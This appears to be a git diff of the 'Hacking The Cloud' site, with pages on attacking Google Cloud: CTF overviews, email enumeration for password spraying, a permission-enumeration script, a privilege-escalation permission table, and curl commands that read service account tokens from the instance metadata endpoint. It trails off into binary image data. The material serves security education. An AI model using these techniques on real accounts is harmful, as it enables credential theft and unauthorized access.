to.https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Wed, 28 Dec 2022 18:47:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Enumerate AWS Account ID from an EC2 Instance With access to an ec2 instance, you will be able to identify the AWS account it runs in.https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ Introduction to the Instance Metadata Service An introduction to the Instance Metadata Service and how to access it.https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Introduction to User Data An introduction to EC2 User Data and how to access it.https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Thunder CTF GCP themed CTFhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Enumerate Service Account Permissions Brute force the permissions of a service account to see what you have access to.https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Default Account Information Default information on how accounts and service accounts exist in GCPhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Metadata in Google Cloud Instances Information about the data an attacker can access via GCP's API endpointshttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Security and Constraints Security considerations and constraints that are unique to GCPhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ \ No newline at end of file diff --git a/gcp/capture_the_flag/gcp-goat/index.html b/gcp/capture_the_flag/gcp-goat/index.html index 7dd584cf9..06d5721b6 100644 --- a/gcp/capture_the_flag/gcp-goat/index.html +++ b/gcp/capture_the_flag/gcp-goat/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Joshua Jebaraj

GCP Goat

GCP-Goat is the vulnerable application for learning the Google Cloud Security

The Application consists of the following scenarios

  • Attacking Compute Engine
  • Attacking Sql Instance
  • Attacking GKE
  • Attacking GCS
  • Privilege Escalation
  • Privilege Escalation in Compute Engine

Project-Link

Article by Joshua Jebaraj

GCP Goat

GCP-Goat is the vulnerable application for learning the Google Cloud Security

The Application consists of the following scenarios

  • Attacking Compute Engine
  • Attacking Sql Instance
  • Attacking GKE
  • Attacking GCS
  • Privilege Escalation
  • Privilege Escalation in Compute Engine

Project-Link

\ No newline at end of file diff --git a/gcp/capture_the_flag/thunder_ctf/index.html b/gcp/capture_the_flag/thunder_ctf/index.html index 748d1b1a6..6288de949 100644 --- a/gcp/capture_the_flag/thunder_ctf/index.html +++ b/gcp/capture_the_flag/thunder_ctf/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Aloïs THÉVENOT

Thunder CTF

Thunder CTF allows players to practice attacking vulnerable cloud projects on Google Cloud Platform (GCP). In each level, players are tasked with exploiting a cloud deployment to find a "secret" integer stored within it. Key to the CTF is a progressive set of hints that can be used by players when they are stuck so that levels can be solved by players of all levels from novices to experts.

The CTF is available at https://thunder-ctf.cloud/.

The GitHub repository for the Thunder CTF also includes:

Least Privilege CTF (slides) is an extension of Thunder CTF. Least Privilege levels have been desgined to help understand Google Cloud Platform's IAM roles and permissions.

Cloud Audit is a series of code labs that will walk you through a few basic and a few more advanced cloud security concepts from a defender point of view.

Article by Aloïs THÉVENOT

Thunder CTF

Thunder CTF allows players to practice attacking vulnerable cloud projects on Google Cloud Platform (GCP). In each level, players are tasked with exploiting a cloud deployment to find a "secret" integer stored within it. Key to the CTF is a progressive set of hints that can be used by players when they are stuck so that levels can be solved by players of all levels from novices to experts.

The CTF is available at https://thunder-ctf.cloud/.

The GitHub repository for the Thunder CTF also includes:

Least Privilege CTF (slides) is an extension of Thunder CTF. Least Privilege levels have been desgined to help understand Google Cloud Platform's IAM roles and permissions.

Cloud Audit is a series of code labs that will walk you through a few basic and a few more advanced cloud security concepts from a defender point of view.

\ No newline at end of file diff --git a/gcp/enumeration/enum_email_addresses/index.html b/gcp/enumeration/enum_email_addresses/index.html index be5480032..f269b9349 100644 --- a/gcp/enumeration/enum_email_addresses/index.html +++ b/gcp/enumeration/enum_email_addresses/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Wes Ladd (@righteousgambit)

Unauthenticated Enumeration of Valid Google Workspace Email Addresses

You can enumerate valid email addresses associated with the Google Workspace service using Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

Article by Wes Ladd (@righteousgambit)

Unauthenticated Enumeration of Valid Google Workspace Email Addresses

You can enumerate valid email addresses associated with the Google Workspace service using Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

\ No newline at end of file diff --git a/gcp/enumeration/enumerate_all_permissions/index.html b/gcp/enumeration/enumerate_all_permissions/index.html index 4871ebe80..307bd3cdf 100644 --- a/gcp/enumeration/enumerate_all_permissions/index.html +++ b/gcp/enumeration/enumerate_all_permissions/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Scott Weston (@WebbinRoot)

Enumerate Org/Folder/Project Permissions + Individual Resource Permissions

  • Tools mentioned in this article


    gcpwn

What is testIamPermissions?

GCP offers a "testIamPermissions" API call on most resources that support policies. This includes resources like:

  • Organizations
  • Folders
  • Projects
  • Compute Instances
  • Cloud Functions

In MOST cases, the general psuedo-code is the same regardless of the resource. However, the permissions allowed are usually dependent on the resource.

For example, for "Projects" (probably 99% of people's interest), testIamPermissions is documented here. Note the general pattern is passing in an array (or list) of individual permissions and the service will return the list of permissions the caller is allowed in that specific project. So in the example below, we pass in a large number of permissions and maybe just "cloudfunctions.functions.list" is returned indicating our caller has that permission within this project (aka, can list all cloud functions in this project).

# Input
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Scott Weston (@WebbinRoot)

Enumerate Org/Folder/Project Permissions + Individual Resource Permissions

  • Tools mentioned in this article


    gcpwn

What is testIamPermissions?

GCP offers a "testIamPermissions" API call on most resources that support policies. This includes resources like:

  • Organizations
  • Folders
  • Projects
  • Compute Instances
  • Cloud Functions

In MOST cases, the general psuedo-code is the same regardless of the resource. However, the permissions allowed are usually dependent on the resource.

For example, for "Projects" (probably 99% of people's interest), testIamPermissions is documented here. Note the general pattern is passing in an array (or list) of individual permissions and the service will return the list of permissions the caller is allowed in that specific project. So in the example below, we pass in a large number of permissions and maybe just "cloudfunctions.functions.list" is returned indicating our caller has that permission within this project (aka, can list all cloud functions in this project).

# Input
 {
   "permissions": [
     compute.instances.addAccessConfig
@@ -652,6 +652,6 @@
     - workstations.workstations.start
     - workstations.workstations.stop
     - workstations.workstations.update
-
\ No newline at end of file diff --git a/gcp/enumeration/enumerate_service_account_permissions/index.html b/gcp/enumeration/enumerate_service_account_permissions/index.html index 9ac32d4e0..a8a4993f1 100644 --- a/gcp/enumeration/enumerate_service_account_permissions/index.html +++ b/gcp/enumeration/enumerate_service_account_permissions/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Aloïs THÉVENOT

Enumerate Service Account Permissions

Link to Tool: GitHub

On GCP it is possible to use the projects.testIamPermissions method to check the permissions that a caller has on the specified Project.

To enumerate permissions you will need either a service account key file or an access token as well as the project ID.

Info

The project ID can be retrieved from the metadata endpoint at /computeMetadata/v1/project/project-id

The following script taken from the ThunderCTF repository can be used to enumerate permissions:

from googleapiclient import discovery
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Aloïs THÉVENOT

Enumerate Service Account Permissions

Link to Tool: GitHub

On GCP it is possible to use the projects.testIamPermissions method to check the permissions that a caller has on the specified Project.

To enumerate permissions you will need either a service account key file or an access token as well as the project ID.

Info

The project ID can be retrieved from the metadata endpoint at /computeMetadata/v1/project/project-id

The following script taken from the ThunderCTF repository can be used to enumerate permissions:

from googleapiclient import discovery
 import google.oauth2.service_account
 from google.oauth2.credentials import Credentials
 import os, sys
@@ -55,6 +55,6 @@
   ...
   'vpcaccess.operations.list'
 ]
-

The list of existing permissions can be obtained from the IAM permissions reference page or from the IAM Dataset powering gcp.permissions.cloud.

\ No newline at end of file diff --git a/gcp/exploitation/gcp_iam_privilege_escalation/index.html b/gcp/exploitation/gcp_iam_privilege_escalation/index.html index 4ecf6690c..0b3fe283f 100644 --- a/gcp/exploitation/gcp_iam_privilege_escalation/index.html +++ b/gcp/exploitation/gcp_iam_privilege_escalation/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Aloïs THÉVENOT

Privilege Escalation in Google Cloud Platform

Permission  Resources
cloudbuilds.builds.create Script / Blog Post
cloudfunctions.functions.create Script / Blog Post
cloudfunctions.functions.update Script / Blog Post
cloudscheduler.jobs.create Blog Post
composer.environments.get Blog Post 1, 2
compute.instances.create Script / Blog Post
dataflow.jobs.create Blog Post 1, 2
dataflow.jobs.update Blog Post 1, 2
dataproc.clusters.create Blog Post 1, 2
dataproc.clusters.create Blog Post 1, 2
dataproc.jobs.create Blog Post 1, 2
dataproc.jobs.update Blog Post 1, 2
deploymentmanager.deployments.create Script / Blog Post
iam.roles.update Script / Blog Post
iam.serviceAccountKeys.create Script / Blog Post
iam.serviceAccounts.getAccessToken Script / Blog Post
iam.serviceAccounts.implicitDelegation Script / Blog Post
iam.serviceAccounts.signBlob Script / Blog Post
iam.serviceAccounts.signJwt Script / Blog Post
orgpolicy.policy.set Script / Blog Post
run.services.create Script / Blog Post
serviceusage.apiKeys.create Script / Blog Post
serviceusage.apiKeys.list Script / Blog Post
storage.hmacKeys.create Script / Blog Post

Article by Aloïs THÉVENOT

Privilege Escalation in Google Cloud Platform

Permission  Resources
cloudbuilds.builds.create Script / Blog Post
cloudfunctions.functions.create Script / Blog Post
cloudfunctions.functions.update Script / Blog Post
cloudscheduler.jobs.create Blog Post
composer.environments.get Blog Post 1, 2
compute.instances.create Script / Blog Post
dataflow.jobs.create Blog Post 1, 2
dataflow.jobs.update Blog Post 1, 2
dataproc.clusters.create Blog Post 1, 2
dataproc.clusters.create Blog Post 1, 2
dataproc.jobs.create Blog Post 1, 2
dataproc.jobs.update Blog Post 1, 2
deploymentmanager.deployments.create Script / Blog Post
iam.roles.update Script / Blog Post
iam.serviceAccountKeys.create Script / Blog Post
iam.serviceAccounts.getAccessToken Script / Blog Post
iam.serviceAccounts.implicitDelegation Script / Blog Post
iam.serviceAccounts.signBlob Script / Blog Post
iam.serviceAccounts.signJwt Script / Blog Post
orgpolicy.policy.set Script / Blog Post
run.services.create Script / Blog Post
serviceusage.apiKeys.create Script / Blog Post
serviceusage.apiKeys.list Script / Blog Post
storage.hmacKeys.create Script / Blog Post
\ No newline at end of file diff --git a/gcp/general-knowledge/default-account-names/index.html b/gcp/general-knowledge/default-account-names/index.html index bd713e3ee..1e7c5edc4 100644 --- a/gcp/general-knowledge/default-account-names/index.html +++ b/gcp/general-knowledge/default-account-names/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Moses Frost (@mosesrenegade)

Default Account Information

Service Accounts

Service accounts are similar to Azure Service Principals. They can allow for programmatic access but also abuse.

Information on Service Accounts

User-Created Service Account: service-account-name@project-id.iam.gserviceaccount.com

Using the format above, you can denote the following items:

  • service-account-name: This will tell you potentially what services this is for: Bigtable-sa or compute-sa
  • project-id: This will be the project identifier that the service account is for. You can set your gcloud configuration to this project-id. It will be numerical typically.

Default Service Account filename permutations:

  • serviceaccount.json
  • service_account.json
  • sa-private-key.json
  • service-account-file.json

Application-Based Service Account:

  • project-id@appspot.gserviceaccount.com: Ths would be project-id value for App Engine or anything leveraging App Engine.
  • project-number-compute@developer.gserviceaccount.com: This service account is for Compute Engine where the project-number-compute will be: project-id-compute. I.E. 1234567-compute.

How to use Service Accounts

In a BASH (or equivalent) shell: export GOOGLE_APPLICATION_CREDENTIALS="/home/user/Downloads/service-account-file.json"

Article by Moses Frost (@mosesrenegade)

Default Account Information

Service Accounts

Service accounts are similar to Azure Service Principals. They can allow for programmatic access but also abuse.

Information on Service Accounts

User-Created Service Account: service-account-name@project-id.iam.gserviceaccount.com

Using the format above, you can denote the following items:

  • service-account-name: This will tell you potentially what services this is for: Bigtable-sa or compute-sa
  • project-id: This will be the project identifier that the service account is for. You can set your gcloud configuration to this project-id. It will be numerical typically.

Default Service Account filename permutations:

  • serviceaccount.json
  • service_account.json
  • sa-private-key.json
  • service-account-file.json

Application-Based Service Account:

  • project-id@appspot.gserviceaccount.com: Ths would be project-id value for App Engine or anything leveraging App Engine.
  • project-number-compute@developer.gserviceaccount.com: This service account is for Compute Engine where the project-number-compute will be: project-id-compute. I.E. 1234567-compute.

How to use Service Accounts

In a BASH (or equivalent) shell: export GOOGLE_APPLICATION_CREDENTIALS="/home/user/Downloads/service-account-file.json"

\ No newline at end of file diff --git a/gcp/general-knowledge/gcp-buckets/index.html b/gcp/general-knowledge/gcp-buckets/index.html index 85381ddd4..025f55534 100644 --- a/gcp/general-knowledge/gcp-buckets/index.html +++ b/gcp/general-knowledge/gcp-buckets/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Moses Frost (@mosesrenegade)

Hunting GCP Buckets

GCP Buckets are almost 100% identical to AWS S3 Buckets.

Theory: This call is based on OpenStack; maybe most cloud environments will be the same.

Using @digininja's CloudStorageFinder diff the following files:

diff bucket_finder.rb google_finder.rb

The main differences are the URLs:

  • AWS Supports HTTP and HTTPS
  • AWS S3 URLs: http://s3-region.amazonaws.com, i.e.: http://s3-eu-west-1.amazonaws.com.
  • GCP Endpoint: https://storage.googleapis.com

How to find buckets using CloudStorageFinder:

Create a wordlist with any name; in our example, it is wordlist.txt.

$ ruby google_finder.rb wordlist.txt

Article by Moses Frost (@mosesrenegade)

Hunting GCP Buckets

GCP Buckets are almost 100% identical to AWS S3 Buckets.

Theory: This call is based on OpenStack; maybe most cloud environments will be the same.

Using @digininja's CloudStorageFinder diff the following files:

diff bucket_finder.rb google_finder.rb

The main differences are the URLs:

  • AWS Supports HTTP and HTTPS
  • AWS S3 URLs: http://s3-region.amazonaws.com, i.e.: http://s3-eu-west-1.amazonaws.com.
  • GCP Endpoint: https://storage.googleapis.com

How to find buckets using CloudStorageFinder:

Create a wordlist with any name; in our example, it is wordlist.txt.

$ ruby google_finder.rb wordlist.txt

\ No newline at end of file diff --git a/gcp/general-knowledge/metadata_in_google_cloud_instances/index.html b/gcp/general-knowledge/metadata_in_google_cloud_instances/index.html index ba289c892..79aeb9481 100644 --- a/gcp/general-knowledge/metadata_in_google_cloud_instances/index.html +++ b/gcp/general-knowledge/metadata_in_google_cloud_instances/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Jan Slezak

Metadata in Google Cloud Instances

Metadata can provide an attacker (or regular user) information about the compromised App Engine instance, such as its project ID, service accounts, and tokens used by those service accounts.

The metadata can be accessed by a regular HTTP GET request or cURL, sans any third-party client libraries by making a request to metadata.google.internal or 169.254.169.254.

curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Jan Slezak

Metadata in Google Cloud Instances

Metadata can provide an attacker (or regular user) information about the compromised App Engine instance, such as its project ID, service accounts, and tokens used by those service accounts.

The metadata can be accessed by a regular HTTP GET request or cURL, sans any third-party client libraries by making a request to metadata.google.internal or 169.254.169.254.

curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H
 "Metadata-Flavor: Google"
 
Note: If you are using your local terminal to attempt access, as opposed to Google's Web Console, you will need to add 169.254.169.254 metadata.google.internal to your /etc/hosts file.

Metadata Endpoints

For basic enumeration, an attacker can target.

http://169.254.169.254/computeMetadata/v1/
 http://metadata.google.internal/computeMetadata/v1/
@@ -20,6 +20,6 @@
     -H "Metadata-Flavor: Google"
 
To view instance metadata:
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
     -H "Metadata-Flavor: Google"
-

The following table is pulled from the Google Cloud Documentation

Metadata Endpoint Description
/computeMetadata/v1/project/numeric-project-id The project number assigned to your project.
/computeMetadata/v1/project/project-id The project ID assigned to your project.
/computeMetadata/v1/instance/zone The zone the instance is running in.
/computeMetadata/v1/instance/service-accounts/default/aliases
/computeMetadata/v1/instance/service-accounts/default/email The default service account email assigned to your project.
/computeMetadata/v1/instance/service-accounts/default/ Lists all the default service accounts for your project.
/computeMetadata/v1/instance/service-accounts/default/scopes Lists all the supported scopes for the default service accounts.
/computeMetadata/v1/instance/service-accounts/default/token Returns the auth token that can be used to authenticate your application to other Google Cloud APIs.
\ No newline at end of file diff --git a/gcp/general-knowledge/security-and-constraints/index.html b/gcp/general-knowledge/security-and-constraints/index.html index 24c541371..ef6e15dda 100644 --- a/gcp/general-knowledge/security-and-constraints/index.html +++ b/gcp/general-knowledge/security-and-constraints/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Moses Frost (@mosesrenegade)

Security and Constraints

GCP Resources are typically placed into Projects. Projects are a mix of resource groups in Azure and Accounts in AWS. Projects can be either non-hierarchical or completely hierarchical. An operator can place security constraints on these projects to provide a baseline security policy. There are also Organization-wide policy constraints that apply to every project.

Examples

From: Organizational Policy Constraints

  • constraints/iam.disableServiceAccountCreation : This can disable the overall creation of service accounts. Equivalent to Service Principals in Azure.
  • constraints/iam.disableServiceAccountKeyCreation : This constraint will disable the ability to create a service account key. This constraint would be helpful if you want service accounts but only want to use RSA-based authentication.

There are specific policies that are not retroactive. We can use these to our advantage.

  1. constraints/compute.requireShieldedVm: If a compute node is already created and exists without this constraint applied, then this constraint will not be retroactive. You must delete the object and re-create it for it to enforce shielded VMs.
  2. constraints/compute.vmExternalIpAccess: Consider the following scenario:

    • Constraint is based on the following permutation: projects/PROJECT_ID/zones/ZONE/instances/INSTANCE
    • Constraint looks for the name of the machine in the project identifier specified in the specific zone
    • If you can boot a VM with this specific set of criteria, then you can have a machine with an External IP Address
    • Machine cannot already exist.
    • constraints/compute.vmCanIpForward: Another Non Retroactive Setting. The machine must not exist before this setting is created. Once this is set, then machines will enforce this condition.

Article by Moses Frost (@mosesrenegade)

Security and Constraints

GCP Resources are typically placed into Projects. Projects are a mix of resource groups in Azure and Accounts in AWS. Projects can be either non-hierarchical or completely hierarchical. An operator can place security constraints on these projects to provide a baseline security policy. There are also Organization-wide policy constraints that apply to every project.

Examples

From: Organizational Policy Constraints

  • constraints/iam.disableServiceAccountCreation : This can disable the overall creation of service accounts. Equivalent to Service Principals in Azure.
  • constraints/iam.disableServiceAccountKeyCreation : This constraint will disable the ability to create a service account key. This constraint would be helpful if you want service accounts but only want to use RSA-based authentication.

There are specific policies that are not retroactive. We can use these to our advantage.

  1. constraints/compute.requireShieldedVm: If a compute node is already created and exists without this constraint applied, then this constraint will not be retroactive. You must delete the object and re-create it for it to enforce shielded VMs.
  2. constraints/compute.vmExternalIpAccess: Consider the following scenario:

    • Constraint is based on the following permutation: projects/PROJECT_ID/zones/ZONE/instances/INSTANCE
    • Constraint looks for the name of the machine in the project identifier specified in the specific zone
    • If you can boot a VM with this specific set of criteria, then you can have a machine with an External IP Address
    • Machine cannot already exist.
    • constraints/compute.vmCanIpForward: Another Non Retroactive Setting. The machine must not exist before this setting is created. Once this is set, then machines will enforce this condition.
\ No newline at end of file diff --git a/images/aws/exploitation/exploit_amplify_vulnerability_in_same_account_scenario/unauth_same_account_scenario.png b/images/aws/exploitation/exploit_amplify_vulnerability_in_same_account_scenario/unauth_same_account_scenario.png new file mode 100644 index 0000000000000000000000000000000000000000..c6d6ce20d0e646e71e26d7bcddd44efae400f90a GIT binary patch literal 472658 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 